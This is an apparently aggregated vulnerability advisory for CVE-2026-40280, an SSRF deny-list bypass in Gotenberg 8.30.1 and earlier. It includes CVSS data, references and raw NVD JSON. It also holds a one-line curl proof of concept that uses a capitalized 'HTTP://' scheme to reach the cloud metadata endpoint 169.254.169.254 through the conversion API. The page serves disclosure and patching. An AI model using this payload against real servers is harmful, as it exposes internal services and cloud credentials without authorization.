CVE-2026-40280

Description

Gotenberg is an API-based document conversion tool. In versions 8.30.1 and earlier, the default private-IP deny-lists for the --webhook-deny-list and --api-download-from-deny-list flags use a case-sensitive regular expression (^https?://) to match URL schemes. Because Go's net/url.Parse() normalizes the scheme to lowercase before establishing the outbound TCP connection, an attacker can bypass the deny-list by simply capitalizing part of the URL scheme (e.g., HTTP://, HTTPS://, or Http://). This allows unauthenticated requests to reach internal network services, including private IP ranges, loopback addresses, and cloud instance metadata endpoints such as HTTP://169.254.169.254/latest/meta-data/. This bypasses the same security control that was patched in CVE-2026-27018. This issue has been fixed in version 8.31.0.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:thecodingmachine:gotenberg:*:*:*:*:*:*:*:* - VULNERABLE

Gotenberg <= 8.30.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Exploit by capitalizing the scheme to bypass the case-sensitive regex
curl -X POST http://target:3000/forms/chromium/convert/url -F "url=HTTP://169.254.169.254/latest/meta-data/"

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-40280
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-40280
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-40280/
[4] VulDB https://vuldb.com/cve/CVE-2026-40280
[5] https://github.com/advisories/GHSA-jjwv-57xh-xr6r
[6] https://github.com/gotenberg/gotenberg/commit/3f01ca18d3cc21375a1e2da4b5a3f261c8548e47
[7] https://github.com/gotenberg/gotenberg/security/advisories/GHSA-5q7p-7jgv-ww56
[8] https://github.com/gotenberg/gotenberg/security/advisories/GHSA-5q7p-7jgv-ww56

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-40280", "sourceIdentifier": "[email protected]", "published": "2026-05-05T20:16:38.633", "lastModified": "2026-05-08T19:06:45.047", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Gotenberg is an API-based document conversion tool. In versions 8.30.1 and earlier, the default private-IP deny-lists for the --webhook-deny-list and --api-download-from-deny-list flags use a case-sensitive regular expression (^https?://) to match URL schemes. Because Go's net/url.Parse() normalizes the scheme to lowercase before establishing the outbound TCP connection, an attacker can bypass the deny-list by simply capitalizing part of the URL scheme (e.g., HTTP://, HTTPS://, or Http://). This allows unauthenticated requests to reach internal network services, including private IP ranges, loopback addresses, and cloud instance metadata endpoints such as HTTP://169.254.169.254/latest/meta-data/. \n\nThis bypasses the same security control that was patched in CVE-2026-27018.\n\nThis issue has been fixed in version 8.31.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:thecodingmachine:gotenberg:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.31.0", "matchCriteriaId": "953D4808-E728-472B-94E3-9714C1E2EA1C"}]}]}], "references": [{"url": "https://github.com/advisories/GHSA-jjwv-57xh-xr6r", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://github.com/gotenberg/gotenberg/commit/3f01ca18d3cc21375a1e2da4b5a3f261c8548e47", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-5q7p-7jgv-ww56", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-5q7p-7jgv-ww56", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}